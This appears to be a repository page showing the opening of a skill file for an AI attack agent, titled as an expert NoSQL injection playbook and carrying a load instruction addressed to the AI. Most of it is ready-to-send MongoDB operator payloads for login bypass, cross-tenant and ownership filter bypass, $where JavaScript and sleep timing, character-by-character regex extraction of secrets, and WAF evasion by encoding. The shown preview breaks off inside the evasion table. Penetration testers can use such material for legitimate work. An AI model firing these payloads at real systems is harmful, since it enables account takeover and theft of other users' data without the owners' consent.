nosql-injection

Files (1)

• SKILL.md

SKILL.md (first lines)

# SKILL: NoSQL Injection — Expert Attack Playbook

> **AI LOAD INSTRUCTION**: NoSQL injection differs from SQLi — no SQL grammar, no UNION. The core bug is **passing objects/operators where the app expects scalars**. Confirm with **differential evidence** (baseline vs mutated), never single-shot.

## 0. QUICK START

### First-pass probe set (send as JSON body or URL-encoded)

| Situation | Payload | Expected signal |
|---|---|---|
| Login (string field) | `{"username":{"$ne":""},"password":{"$ne":""}}` | Authenticated with no valid creds → vulnerable |
| Login (password only) | `{"password":{"$ne":""}}` | Same |
| Search/ID (numeric) | `{"id":{"$gt":0}}` or `{"id":{"$ne":1}}` | Returns extra rows |
| Regex filter | `{"name":{"$regex":".*"}}` | Matches everything |
| Boolean auth | `{"$where":"this.password.length>0"}` | JS eval surface |
| Type confusion | send `"1"` as `{"id":1}` vs `{"id":[1]}` | Different results = coercion |

**Confirmed = differential**: mutated request returns **different** status/count/body than baseline, and the difference is explainable only by the operator being interpreted.

---

## 1. DETECTION — WHERE NoSQL INJECTION HIDES

NoSQLi is usually found by **behavioral differences**, not errors:

| Surface | How to probe |
|---|---|
| Login / password reset | Send `$ne` object in username field |
| Search / filter / sort | Send `$regex`, `$gt`, `$lt` in query param |
| Tenant / org filters | Send `$ne` in tenant_id — cross-tenant read |
| Price / quantity / coupon | Send object type — manipulation |
| Admin list APIs | Send `$ne` to bypass ownership filter |
| GraphQL resolvers | Mutation args → NoSQL query builder |
| **Headers** | X-Forwarded-For, User-Agent, Cookie → session lookup |

**Key difference from SQLi**: the payload is often **valid JSON structure**, not a string. If the endpoint rejects malformed JSON but accepts `{"field":{"$ne":""}}`, that's the signal.

---

## 2. OPERATOR INJECTION — THE CORE BUG

Attackers inject **MongoDB query operators** into fields the app treats as scalars:

### Authentication bypass
```json
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$exists": true}, "password": {"$exists": true}}
```

### Data extraction / filter bypass
```json
{"id": {"$ne": 1}}                 // everything except id=1
{"id": {"$gt": 0}}                 // all positive ids
{"email": {"$regex": ".*@.*"}}     // match pattern
{"price": {"$lt": 100}}            // pricing abuse
{"role": {"$ne": "admin"}}         // non-admin users
{"userId": {"$in": [1,2,3]}}       // enumerated set
```

### `$where` — JavaScript evaluation (highest impact)
```json
{"$where": "this.password.length > 0"}
{"$where": "sleep(5000)"}
{"$where": "this.username == 'admin' && this.role == 'admin'"}
```

---

## 3. BLIND NoSQL INJECTION

When no data is reflected, use **response-differential inference**:

### Boolean-based (true/false response differ)
```json
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}   // true if username starts with 'a'
{"username": {"$regex": "^b"}, "password": {"$ne": ""}}   // false branch
```

### Regex oracle — character-by-character extraction
```
$regex ^p   → true
$regex ^pa  → true
$regex ^pb  → false  → next char is 'a'
...iterate charset per position...
```
Combine with `$regex` and a charset to extract field values without reflection.

### Time-based (response delay)
```json
{"username": {"$where": "sleep(5000)"}}
{"$where": "this.email.match(/a/) && sleep(5000)"}
```

---

## 4. TYPE CONFUSION & ARRAY COERCION

App expects `{"id": 1}` but accepts alternative types:

| Trick | Effect |
|---|---|
| `{"id": [1, 2]}` | `$in` semantics — match multiple |
| `{"id": {"$gt": 0}}` | operator object in numeric field |
| `{"active": 1}` vs `{"active": "1"}` | string/number coercion bypass |
| `{"field": null}` | bypass null-check logic |
| `{"field": {"$exists": false}}` | match docs where field absent |
| Duplicate keys `{"a":1,"a":{"$ne":""}}` | parser takes last value |

---

## 5. FILTER / WAF EVASION

When `$` is stripped or `$ne` is blocked:

| Blocked | Bypass |
|---|---|
| `$` in key | URL-encode `%24ne`; double-encode `%2524ne`; use `{"$gt": ""}` alternatives |

From langbyyi/CyberStrikeAI-SRC, Apache-2.0.

More from langbyyi/CyberStrikeAI-SRC